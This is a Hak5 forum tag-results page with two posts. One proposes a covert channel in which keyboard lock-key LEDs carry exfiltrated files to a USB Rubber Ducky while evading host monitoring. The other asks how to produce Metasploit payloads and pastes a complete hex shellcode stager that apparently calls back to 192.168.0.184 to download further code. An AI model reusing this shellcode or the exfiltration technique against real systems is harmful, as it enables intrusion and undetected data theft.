Jump to content

Search the Community

Showing results for tags 'binary'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Talk
    • Everything Else
    • Gaming
    • Questions
    • Business and Enterprise IT
    • Security
    • Hacks & Mods
    • Applications & Coding
    • Trading Post
  • Hak5 Gear
    • Hak5 Cloud C²
    • New USB Rubber Ducky
    • WiFi Pineapple
    • Bash Bunny
    • Key Croc
    • Packet Squirrel
    • Shark Jack
    • Signal Owl
    • LAN Turtle
    • Screen Crab
    • Plunder Bug
    • WiFi Coconut
  • O.MG (Mischief Gadgets)
    • O.MG Cable
    • O.MG DemonSeed EDU
  • Legacy Devices
    • Classic USB Rubber Ducky
    • WiFi Pineapple TETRA
    • WiFi Pineapple NANO
    • WiFi Pineapple Mark V
    • WiFi Pineapple Mark IV
    • Pineapple Modules
    • WiFi Pineapples Mark I, II, III
  • Hak5 Shows
  • Community
    • Forums and Wiki
    • #Hak5
  • Projects
    • SDR - Software Defined Radio
    • Community Projects
    • Interceptor
    • USB Hacks
    • USB Multipass
    • Pandora Timeshifting

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests

Found 2 results

  1. tl;dr- Add logic to the RD to monitor key lock values. Use this for functions like file transfer. Because I wanted to see if I could, I wrote a VBScript to transmit a file using the Scroll lock, Caps lock, and Num lock keys. As it turns out, if you record the data with a fast enough camera you can decode the bits and reproduce the transmitted file. Unfortunately, to make it feasible for a camera to pickup the LED fluctuations and and then for a human to interpret the blinks, the transfer rate is very slow. In fact, if you have the time and ability to use a camera to record the computer, you should really just take a picture of the screen. If only there was a technical means of monitoring these LED statuses that could increase the rate at which this could operate... (Note: In the above video, you have to view at 60fps and set the playback speed to 25% to even have a chance of decoding it manually) Fast forward a couple days and I saw another demonstration of the Rubber Ducky on Hak5. As I understand it, the RD interprets a compiled script and primarily acts as an output only HID. Because of this, payloads from the RD have only two ways of currently gathering information. One is to exfiltrate the data over a network connection (bad because it may be logged by a firewall or proxy), and the other is to switch to USB storage mode (bad because systems may monitor or block USB Mass Storage Devices). However, by utilizing Caps/Num/Scroll lock, payloads could potentially communicate any type of data back to the Rubber Ducky (without tripping any host system security/monitoring). I'm suggesting that some logic be added to the RD to monitor the Key Locks and use them as a way of receiving data. In the video demonstration demonstration, I used sendkeys to flip the status on the three LEDs. Every-other-bit is sent to Num Lock and Caps Lock with Num Lock being bit one, Caps Lock being bit two, and Scroll Lock always being the timing. For efficiency's sake, every transmission of two bits is indicate by alternating Scroll Lock. This means that with SL turns on, two bits were sent and when SL turns off, 2 more bits were sent. This timing is necessary to indicate to the interpreter (be it human or RD) that the other two bits are current (even if they haven't changed in value). The script currently lacks any intelligence- it just blindly sends the contents of a file. But, if the script were to know it was talking to the RD, it could wait for acknowledgements from the RD before sending a file. Furthermore, since this technique would allow two-way communications with the RD, we could incorporate useful file transfer features like CRCs and the inclusion of the file name. As I mentioned in the beginning, using this technique to visually send information via the LEDs is too slow to really be of any value. But, this same technique may have value when the thing observing the LED value changes is a Rubber Ducky. I estimate that this technique would allow binary data to be sent to the RD at around 1.5 kB/s. Granted, this is a far cry from USB Mass Storage Device speeds and network transfer speeds, but this method doesn't require a system to be on-line and wouldn't leave any trail on the host system*. Of course, in addition to file transfers, two-way communications with the RD can open up more possibilities. For instance, the RD could run a script on the host system to see what version of the OS is running and then send the OS version back to the RD. From there, the RD could send a different script based on the version. Granted, you could just put this logic in one payload file that is executed on the host, but there may be cases where you want to keep some secret sauce on the RD and never written to a host machine. The Duck Whisper *- Okay, some key-loggers might record the key presses. But if the system has a key-logger, it would have recorded the entire RD session anyway.
  2. I don't really understand assembly code but I'm trying to learn it. I was curious is there a way to dump any old binary into a format that I can deliver via metasploit. I haven't really looked at the mechanics of payload delivery but I'm assuming payloads are delivered in a format like this: fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a03535368901f0000e8080100002f586f525f762d445a35485978345444675a37325779417636395562494b706a42506338623968496e516e7861374c515566425465567a4557415a776150506d6d4f6f316c58626e70436573454e67433939596d364853424c335058754a4f3468714c477374656f4468696c79784d53687557393363534346754e622d4249696b38756d00506857899fc6ffd589c653680032e08453535357535668eb552e3bffd5966a0a5f688033000089e06a04506a1f566875469e86ffd55353535356682d06187bffd585c075084f75d9e84a0000006a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cf8b0701c385c075e558c35fe877ffffff3139322e3136382e302e31383400bbf0b5a2566a0053ffd5 I suppose my question is: How do I go from a binary to this hex format. Is there an easy way to dump the binary into a ready to use assembly instruction set? If so what are the steps? If there's not an easy mode way to do this hypothetically what are the steps. Is it as simple as dumping the bytes into an array and outputing them that way. Can I take the output of objdump, hexdump, or xxd and create this usable byte array or string or whatever. I'm just really not sure where to start.
×
×
  • Create New...